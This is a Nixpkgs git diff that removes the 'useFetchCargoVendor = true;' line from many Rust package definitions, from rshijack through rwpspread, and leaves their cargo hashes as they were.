diff --git a/pkgs/by-name/rs/rshijack/package.nix b/pkgs/by-name/rs/rshijack/package.nix
index 25e3d04a6af0..67f72234c951 100644
--- a/pkgs/by-name/rs/rshijack/package.nix
+++ b/pkgs/by-name/rs/rshijack/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-vTbjb0tm6jCP9+QWG5R83v31W6RUgSEv96iR37QdnFo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wRy+bSi6XxbbvxqE5PFWs4xW1zfkvTHyyGgRZCOU7cY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rs/rsign2/package.nix b/pkgs/by-name/rs/rsign2/package.nix
index d0f650b0ba6c..25017ff43852 100644
--- a/pkgs/by-name/rs/rsign2/package.nix
+++ b/pkgs/by-name/rs/rsign2/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bJeM1HTzmC8QZ488PpqQ0qqdFg1/rjPWuTtqo1GXyHM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dCZcxtaqcRHhAmgGigBjN0jDfh1VjoosqTDTkqwlXp0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rs/rslint/package.nix b/pkgs/by-name/rs/rslint/package.nix
index becec39bd9b8..a2ae78e45362 100644
--- a/pkgs/by-name/rs/rslint/package.nix
+++ b/pkgs/by-name/rs/rslint/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-3DEwi+bhqwP8aMpZYl07GZbe7IecraB3m54lZ5LViVc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4DzQSnrUUNaeyNLKvnx4HKM4dAS10y5mu5S2NpzfFRQ=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/rs/rsonpath/package.nix b/pkgs/by-name/rs/rsonpath/package.nix
index bd7f6b114d44..a48b05c238cf 100644
--- a/pkgs/by-name/rs/rsonpath/package.nix
+++ b/pkgs/by-name/rs/rsonpath/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     tagPrefix = "v";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9pSn0f0VWsBg1z1UYGRtMb1z23htRm7qLmO80zvSjN8=";
 
   cargoBuildFlags = [ "-p=rsonpath" ];
diff --git a/pkgs/by-name/rs/rsop/package.nix b/pkgs/by-name/rs/rsop/package.nix
index 3f4b43e73075..618da3807a2b 100644
--- a/pkgs/by-name/rs/rsop/package.nix
+++ b/pkgs/by-name/rs/rsop/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0+kzEYR2ZijI02aqyXpBcIldRa4wJtYqO/MMljjcXzc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ef9ahFlOmfVkvNBeSmoCV7dwS/YI5ZTaQ0X59oyHSjs=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/rt/rtrtr/package.nix b/pkgs/by-name/rt/rtrtr/package.nix
index aa0cf55f8739..99b35a57ddcf 100644
--- a/pkgs/by-name/rt/rtrtr/package.nix
+++ b/pkgs/by-name/rt/rtrtr/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1TmzC/d/odfYdo1CiCsFW3U7OCpTF4Gkw2w4c2yaxxw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SeQ2zRBbETabAhOItu3C6PUjL7vUsVDzWGbYcUIslF4=";
   nativeBuildInputs = [ pkg-config ];
 
diff --git a/pkgs/by-name/rt/rtss/package.nix b/pkgs/by-name/rt/rtss/package.nix
index 1e4c1546083c..de818836362e 100644
--- a/pkgs/by-name/rt/rtss/package.nix
+++ b/pkgs/by-name/rt/rtss/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-WeeZsB42/4SlIaWwKvOqWiPNV5p0QOToynI8ozVVxJM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7+58CMm9nPg9tVXphUcIufFGONOxjAlSWBseq5fbM44=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rt/rtz/package.nix b/pkgs/by-name/rt/rtz/package.nix
index 3dd5f8d13335..f8f1f6a8bf44 100644
--- a/pkgs/by-name/rt/rtz/package.nix
+++ b/pkgs/by-name/rt/rtz/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-V7N9NFIc/WWxLaahkjdS47Qj8sc3HRdKSkrBqi1ngA8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Lm81Qnu3ZQw43fCcQOR63EV1aYXuPyR9Gy+F6BCiwUw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ru/rubyfmt/package.nix b/pkgs/by-name/ru/rubyfmt/package.nix
index 6dda34f02844..037f592aef12 100644
--- a/pkgs/by-name/ru/rubyfmt/package.nix
+++ b/pkgs/by-name/ru/rubyfmt/package.nix
@@ -61,7 +61,6 @@ rustPlatform.buildRustPackage rec {
     ./0003-ignore-warnings.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8LgAHznxU30bbK8ivNamVD3Yi2pljgpqJg2WC0nxftk=";
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-fdeclspec";
diff --git a/pkgs/by-name/ru/rucola/package.nix b/pkgs/by-name/ru/rucola/package.nix
index 974be5e86620..954d2660dc67 100644
--- a/pkgs/by-name/ru/rucola/package.nix
+++ b/pkgs/by-name/ru/rucola/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vBY6tkzLgZuSU5AqH3uzDwjPl/ayWY0S8uRvlgE/Wmw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-a1f+WSXMNaZCKc7bScknW9WW+Qi1CZIuNLdJseem11I=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ru/rucredstash/package.nix b/pkgs/by-name/ru/rucredstash/package.nix
index 3a352a29fc08..fadb3d4226e7 100644
--- a/pkgs/by-name/ru/rucredstash/package.nix
+++ b/pkgs/by-name/ru/rucredstash/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-trupBiinULzD8TAy3eh1MYXhQilO08xu2a4yN7wwhwk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QylZkqE8my2ldCjtg3++6TTDm0om3SVp0jwYUZ9qVes=";
 
   # Disable tests since it requires network access and relies on the
diff --git a/pkgs/by-name/ru/ruff/package.nix b/pkgs/by-name/ru/ruff/package.nix
index 4cad9bee4f43..95fa3fccfed3 100644
--- a/pkgs/by-name/ru/ruff/package.nix
+++ b/pkgs/by-name/ru/ruff/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   cargoBuildFlags = [ "--package=ruff" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JkhvTONWKd3/2jI/yQU2jRfEQ2eAp3drup9SsYWOXNA=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ru/ruffle/package.nix b/pkgs/by-name/ru/ruffle/package.nix
index ab9565cc25be..a31c90eaced1 100644
--- a/pkgs/by-name/ru/ruffle/package.nix
+++ b/pkgs/by-name/ru/ruffle/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-m/4e15znssmDASvuLu7BpkhKLZmw7TZ2nXB0bAPrN+4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JtapILlrDbTFBa763h04lMMP2xQxW0vOpAfyIlHPjeI=";
   cargoBuildFlags = lib.optional withRuffleTools "--workspace";
 
diff --git a/pkgs/by-name/ru/rune-languageserver/package.nix b/pkgs/by-name/ru/rune-languageserver/package.nix
index 750b5a897dd9..07dd47aaad5b 100644
--- a/pkgs/by-name/ru/rune-languageserver/package.nix
+++ b/pkgs/by-name/ru/rune-languageserver/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Kw6Qh/9eQPMj4V689+7AxuJB+aCciK3FZTfcdhyZXGY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YviRACndc4r4ul72ZF3I/R/nEsIoML2Ek2xqUUE3FDQ=";
 
   env = {
diff --git a/pkgs/by-name/ru/rune/package.nix b/pkgs/by-name/ru/rune/package.nix
index 61915b6e9801..1bce3be85e60 100644
--- a/pkgs/by-name/ru/rune/package.nix
+++ b/pkgs/by-name/ru/rune/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+2eXTkn9yOMhvS8cFwAorLBNIPvIRwsPOsGCl3gtRSE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SgfgoMqr2Cc7+qhf9Ejl4Ect1JR9RqI9I0b+PrdvdOs=";
 
   env = {
diff --git a/pkgs/by-name/ru/ruplacer/package.nix b/pkgs/by-name/ru/ruplacer/package.nix
index 2bade1d3b9ee..8321f143e453 100644
--- a/pkgs/by-name/ru/ruplacer/package.nix
+++ b/pkgs/by-name/ru/ruplacer/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Zvbb9pQpxbJZi0qcDU6f2jEgavl9cA7gIYU7NRXZ9fc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ko6EBASK6olMyp0kDY4wgfpH+5j9vq0dJ74l8K6HPGY=";
 
   meta = {
diff --git a/pkgs/by-name/ru/russ/package.nix b/pkgs/by-name/ru/russ/package.nix
index 73ba1fa99527..178ed2e6419d 100644
--- a/pkgs/by-name/ru/russ/package.nix
+++ b/pkgs/by-name/ru/russ/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-/76CvSBYim831OZzLhsj2Hm+0hoY/FLtKQqt19E5YOI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-G2s/IggPXfi7FXOoM5s9I9PEphYHjEdg9W1LCAxIk1M=";
 
   # tests are network based :(
diff --git a/pkgs/by-name/ru/rust-analyzer-unwrapped/package.nix b/pkgs/by-name/ru/rust-analyzer-unwrapped/package.nix
index 899b24f9fabf..a43bb326835a 100644
--- a/pkgs/by-name/ru/rust-analyzer-unwrapped/package.nix
+++ b/pkgs/by-name/ru/rust-analyzer-unwrapped/package.nix
@@ -13,7 +13,7 @@
 rustPlatform.buildRustPackage rec {
   pname = "rust-analyzer-unwrapped";
   version = "2025-05-12";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-Y6/1xr08KXj+KQVJgLO7LhwsNGE2ooFdTR9GoAgAwKk=";
 
   src = fetchFromGitHub {
diff --git a/pkgs/by-name/ru/rust-audit-info/package.nix b/pkgs/by-name/ru/rust-audit-info/package.nix
index cc1c04934494..a08eb73b92e0 100644
--- a/pkgs/by-name/ru/rust-audit-info/package.nix
+++ b/pkgs/by-name/ru/rust-audit-info/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-g7ElNehBAVSRRlqsxkNm20C0KOMkf310bXNs3EN+/NQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TvbFhFtdQ6fBNjIMgzQDVnK+IZThUJmht7r2zSmcllE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ru/rust-cbindgen/package.nix b/pkgs/by-name/ru/rust-cbindgen/package.nix
index b636a4ffb191..aebe5c77bdea 100644
--- a/pkgs/by-name/ru/rust-cbindgen/package.nix
+++ b/pkgs/by-name/ru/rust-cbindgen/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wCl2GpHqF7wKIE8UFyZRY0M1hxonZek2FN6+5x/jGWI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BErgOnmatxpfF5Ip44WOqnEWOzOJaVP6vfhXPsF9wuc=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/ru/rust-code-analysis/package.nix b/pkgs/by-name/ru/rust-code-analysis/package.nix
index 448ba343969f..03319c79b69b 100644
--- a/pkgs/by-name/ru/rust-code-analysis/package.nix
+++ b/pkgs/by-name/ru/rust-code-analysis/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/Irmtsy1PdRWQ7dTAHLZJ9M0J7oi2IiJyW6HeTIDOCs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HirLjKkfZfc9UmUcUF5WW7xAJuCu7ftJDH8+zTSYlxs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ru/rust-motd/package.nix b/pkgs/by-name/ru/rust-motd/package.nix
index e45e0f090f6c..eb2a223d2f4e 100644
--- a/pkgs/by-name/ru/rust-motd/package.nix
+++ b/pkgs/by-name/ru/rust-motd/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pgmAf9izrIun6+EayxSNy9glTUFd0x/uy5r/aijVi4U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TO2YCUmD+K4X7ArAPGCDhTH2W2UG8Ezr+yZjaQJTL0A=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ru/rust-parallel/package.nix b/pkgs/by-name/ru/rust-parallel/package.nix
index 76ca93565f68..45a58e52d01e 100644
--- a/pkgs/by-name/ru/rust-parallel/package.nix
+++ b/pkgs/by-name/ru/rust-parallel/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4f/JE8KWYDdLwx+bCSSbz0Cpfy/g3WIaRzqCvUix4t0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wJtXYx2mncOnnUep4CMFt+1mK1vMyhYFCQM/2B9m6zY=";
 
   postPatch = ''
diff --git a/pkgs/by-name/ru/rust-petname/package.nix b/pkgs/by-name/ru/rust-petname/package.nix
index e0cb6fbd7cff..52bcf3fc4722 100644
--- a/pkgs/by-name/ru/rust-petname/package.nix
+++ b/pkgs/by-name/ru/rust-petname/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KP+GdGlwLHcKE8nAmFr2wHbt5RD9Ptpiz1X5HgJ6BgU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gZxZeirvGHwm8C87HdCBYr30+0bbjwnWxIQzcLgl3iQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ru/rust-script/package.nix b/pkgs/by-name/ru/rust-script/package.nix
index aecd1ac4f873..0ca83dcf716d 100644
--- a/pkgs/by-name/ru/rust-script/package.nix
+++ b/pkgs/by-name/ru/rust-script/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-uKmQgrbsFIY0XwrO16Urz3L76Gm2SxHW/CpHeCIUinM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eSj04d/ktabUm58C7PAtiPqdiVP9NB3uSFxILZxe6jA=";
 
   # tests require network access
diff --git a/pkgs/by-name/ru/rust-stakeholder/package.nix b/pkgs/by-name/ru/rust-stakeholder/package.nix
index 934e826bec1f..b0b8472d6723 100644
--- a/pkgs/by-name/ru/rust-stakeholder/package.nix
+++ b/pkgs/by-name/ru/rust-stakeholder/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-YnXqvZlItCoAUEYUpRVQLM4fuLaf9Wd+OFY9ItSg25U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NxO+7Wh8Ff6RPFtmbEa3EJszfDaZDXGWZDAoXPEAnpI=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ru/rust-synapse-compress-state/package.nix b/pkgs/by-name/ru/rust-synapse-compress-state/package.nix
index 1503d2522772..7ad18677baeb 100644
--- a/pkgs/by-name/ru/rust-synapse-compress-state/package.nix
+++ b/pkgs/by-name/ru/rust-synapse-compress-state/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nNQ/d4FFAvI+UY+XeqExyhngq+k+j5Pkz94ch27aoVM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-l8N6+xh0CbFKt4eEbSAvUJ5oHxhp5jf2YHLheYAegnU=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/ru/rust-traverse/package.nix b/pkgs/by-name/ru/rust-traverse/package.nix
index d969e4023c44..aaa8fe5bed65 100644
--- a/pkgs/by-name/ru/rust-traverse/package.nix
+++ b/pkgs/by-name/ru/rust-traverse/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OcCWmBNDo4AA5Pk5TQqb8hen9LlHaY09Wrm4BkrU7qA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UGPXV55+0w6QFYxfmmimSX/dleCdtEahveNi8DgSVzQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ru/rustcat/package.nix b/pkgs/by-name/ru/rustcat/package.nix
index 0d6d73f63266..3a44bc9a2fd6 100644
--- a/pkgs/by-name/ru/rustcat/package.nix
+++ b/pkgs/by-name/ru/rustcat/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/6vNFh7n6WvYerrL8m9sgUKsO2KKj7/f8xc4rzHy9Io=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-76/JK9IKYD6mxMddUyTgKAw53GM4EUhC0NbKFKdg8CI=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ru/rustdesk-flutter/package.nix b/pkgs/by-name/ru/rustdesk-flutter/package.nix
index 0d89f1e6a490..0a2de1765d53 100644
--- a/pkgs/by-name/ru/rustdesk-flutter/package.nix
+++ b/pkgs/by-name/ru/rustdesk-flutter/package.nix
@@ -46,7 +46,6 @@ let
       ./update-flutter-dev-path.patch
     ];
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-4khuq/DK4sP98AMHyr/lEo1OJdqLujOIi8IgbKBY60Y=";
     cargoBuildFlags = [
       "--package"
diff --git a/pkgs/by-name/ru/rustdesk-server/package.nix b/pkgs/by-name/ru/rustdesk-server/package.nix
index 33fb44e5e207..4c890c1dde3c 100644
--- a/pkgs/by-name/ru/rustdesk-server/package.nix
+++ b/pkgs/by-name/ru/rustdesk-server/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-U1LTnqi2iEsm2U7t0Fr4VJWLo1MdQmeTKrPsNqRWap0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ru/rusti-cal/package.nix b/pkgs/by-name/ru/rusti-cal/package.nix
index a706c00408be..c232c06763f3 100644
--- a/pkgs/by-name/ru/rusti-cal/package.nix
+++ b/pkgs/by-name/ru/rusti-cal/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pdsP2nuJh30BzqIyxSQXak/rceA4hI9jBYy1dDVEIvI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9nd8xm3jAFouRYKSFpx3vQQaI/2wQzTaaehXjqljIfw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ru/rustlings/package.nix b/pkgs/by-name/ru/rustlings/package.nix
index 136cddb89013..01ed0f3edc55 100644
--- a/pkgs/by-name/ru/rustlings/package.nix
+++ b/pkgs/by-name/ru/rustlings/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-VdIIcpyoCuid3MECVc9aKeIOUlxGlxcG7znqbqo9pjc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QWmK+chAUnMGjqLq2xN5y6NJZJBMDTszImB9bXhO4+w=";
 
   # Disabled test that does not work well in an isolated environment
diff --git a/pkgs/by-name/ru/rustls-libssl/package.nix b/pkgs/by-name/ru/rustls-libssl/package.nix
index 79e05f6ac3b3..cce57629baef 100644
--- a/pkgs/by-name/ru/rustls-libssl/package.nix
+++ b/pkgs/by-name/ru/rustls-libssl/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage {
   # NOTE: No longer necessary in the next release.
   sourceRoot = "source/rustls-libssl";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eVdcYJnJVduRk3zK9VQ1rE6AwjaXAG1h1g/fVHr4mqQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ru/rustmission/package.nix b/pkgs/by-name/ru/rustmission/package.nix
index 932876025231..80e603fcf268 100644
--- a/pkgs/by-name/ru/rustmission/package.nix
+++ b/pkgs/by-name/ru/rustmission/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vQ6MBbzmOBgD1kcF62NmQys737QEN9isvFN7L7mP8mk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GwSf/o90RO6LURIcm/kYA8oXmnCJ1OkM+eHkyZduOt0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ru/rustplayer/package.nix b/pkgs/by-name/ru/rustplayer/package.nix
index 8e8bb31f280c..9e4fb7fb932f 100644
--- a/pkgs/by-name/ru/rustplayer/package.nix
+++ b/pkgs/by-name/ru/rustplayer/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage {
     ./dynamic-lib.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cfr5q44SzJ5iYm8cu/3+RkoPaoUklmOV/UbSdZZbu38=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ru/rustpython/package.nix b/pkgs/by-name/ru/rustpython/package.nix
index d52a621b55fd..36bb063c07d4 100644
--- a/pkgs/by-name/ru/rustpython/package.nix
+++ b/pkgs/by-name/ru/rustpython/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BYYqvPJu/eFJ9lt07A0p7pd8pGFccUe/okFqGEObhY4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LuxET01n5drYmPXXhCl0Cs9yoCQKwWah8FWfmKmLdsg=";
 
   # freeze the stdlib into the rustpython binary
diff --git a/pkgs/by-name/ru/rustscan/package.nix b/pkgs/by-name/ru/rustscan/package.nix
index c012668a34fe..affc1999f436 100644
--- a/pkgs/by-name/ru/rustscan/package.nix
+++ b/pkgs/by-name/ru/rustscan/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+qPSeDpOeCq+KwZb5ANXx6z+pYbgdT1hVgcrSzxyGp0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cUuInYCT2jzen9gswfFGtKum6w2X/SiKA2ccdmxk38A=";
 
   postPatch = ''
diff --git a/pkgs/by-name/ru/rustus/package.nix b/pkgs/by-name/ru/rustus/package.nix
index 647f86a3d7c7..5d1ef6a5fbd6 100644
--- a/pkgs/by-name/ru/rustus/package.nix
+++ b/pkgs/by-name/ru/rustus/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ALnb6ICg+TZRuHayhozwJ5+imabgjBYX4W42ydhkzv0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-df92+gp/DtdHwPxJF89zKHjmVWzfrjnD8wAlrPRyyxk=";
 
   env.OPENSSL_NO_VENDOR = 1;
diff --git a/pkgs/by-name/ru/rusty-diceware/package.nix b/pkgs/by-name/ru/rusty-diceware/package.nix
index b57e33208c44..c5a0b52f45e6 100644
--- a/pkgs/by-name/ru/rusty-diceware/package.nix
+++ b/pkgs/by-name/ru/rusty-diceware/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GDWvHHl4EztTaR0jI4XL1I9qE2KSL+q9C8IvLWQF4Ys=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-f+jvrokt5kuHYKKfluu4OvI7dzp9rFPlTo4KC4jKb0o=";
 
   doCheck = true;
diff --git a/pkgs/by-name/ru/rusty-man/package.nix b/pkgs/by-name/ru/rusty-man/package.nix
index 1f9d78b7ca21..436d0cab27da 100644
--- a/pkgs/by-name/ru/rusty-man/package.nix
+++ b/pkgs/by-name/ru/rusty-man/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-djprzmogT1OEf0/+twdxzx30YaMNzFjXkZd4IDsH8oo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZIRwp5AJugMDxg3DyFIH5VlD0m4Si2tJdspKE5QEB4M=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ru/rusty-psn/package.nix b/pkgs/by-name/ru/rusty-psn/package.nix
index edca07c5e911..cb9d21b9766c 100644
--- a/pkgs/by-name/ru/rusty-psn/package.nix
+++ b/pkgs/by-name/ru/rusty-psn/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-n2h+sgqNZhFgUa4MFp501W4YPtlWN94GhP9Rlu5plBA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ffqTzu8/ra6SwvqDne/g9EgISGlEBSleEGn6gQ/DWAY=";
 
   # Tests require network access
diff --git a/pkgs/by-name/ru/rustycli/package.nix b/pkgs/by-name/ru/rustycli/package.nix
index 337bd547c497..0c386b0308bd 100644
--- a/pkgs/by-name/ru/rustycli/package.nix
+++ b/pkgs/by-name/ru/rustycli/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4Txw6Cmwwgu7K8VIVoX9GR76VUqAEw6uYptmczbjqg0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QjkUiPwjG25NsvAXM3jqQVtJzYiXhzVqFaDN1b7DXDE=";
 
   # some examples fail to compile
diff --git a/pkgs/by-name/ru/rustypaste-cli/package.nix b/pkgs/by-name/ru/rustypaste-cli/package.nix
index 4246b3ded784..0c98a85471a8 100644
--- a/pkgs/by-name/ru/rustypaste-cli/package.nix
+++ b/pkgs/by-name/ru/rustypaste-cli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tv5nAs5g7NWVakKUyw5PVxHJYQniV9OYm7yDXhooWU4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Z8rybofRp4hzTbn3iT0X50fcJCn2tT3HTYTLLWTJBek=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ru/rustypaste/package.nix b/pkgs/by-name/ru/rustypaste/package.nix
index c97756291304..852f148dd313 100644
--- a/pkgs/by-name/ru/rustypaste/package.nix
+++ b/pkgs/by-name/ru/rustypaste/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Jfi2Q6551g58dfOqtHtWxkbxwYV71f7MIuLB8RbaR94=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-10tBbn4XtdUNhfzb+KpwFGZAc7YVIEQRaqNLzJC1GGI=";
 
   dontUseCargoParallelTests = true;
diff --git a/pkgs/by-name/ru/rustywind/package.nix b/pkgs/by-name/ru/rustywind/package.nix
index 72e4d59d6ea7..56220325501f 100644
--- a/pkgs/by-name/ru/rustywind/package.nix
+++ b/pkgs/by-name/ru/rustywind/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3cLpyY2Ec3XUDUoq4QLyDx8Nr85TOevBkfoReguVGII=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jq8d+ndPOu07YO5PJ5YfWTeG70bZnr0i8vMwv7Dw5GY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rw/rwalk/package.nix b/pkgs/by-name/rw/rwalk/package.nix
index 144a6b8356fa..f877eec94f6f 100644
--- a/pkgs/by-name/rw/rwalk/package.nix
+++ b/pkgs/by-name/rw/rwalk/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-W42b3fUezMpOPaNmTogUbgn67nCiKteCkkYUAux9Ng4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9zZLHjDpnxL3aR8zX4eNU1mpMDzMqzMC+Wr+DWVimUo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/rw/rwedid/package.nix b/pkgs/by-name/rw/rwedid/package.nix
index bc7dc2c04846..c27a15588588 100644
--- a/pkgs/by-name/rw/rwedid/package.nix
+++ b/pkgs/by-name/rw/rwedid/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lbZD/QLCgkD5OQZdn6oCjry9edMcJ+q9qGF7IbY36U4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oOopJanCFva2Z6/N3IwQTQ3pTd/xnJ82LyQ6iO47uVE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/rw/rwpspread/package.nix b/pkgs/by-name/rw/rwpspread/package.nix
index 7973c1344761..fc08a07fffae 100644
--- a/pkgs/by-name/rw/rwpspread/package.nix
+++ b/pkgs/by-name/rw/rwpspread/package.nix
@@ -17,7 +17,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     hash = "sha256-1i1675OiyleCXcc/uN95kyY7m5ht/rS3UKY7EmuSsrk=";
   };
-  useFetchCargoVendor = true;
+
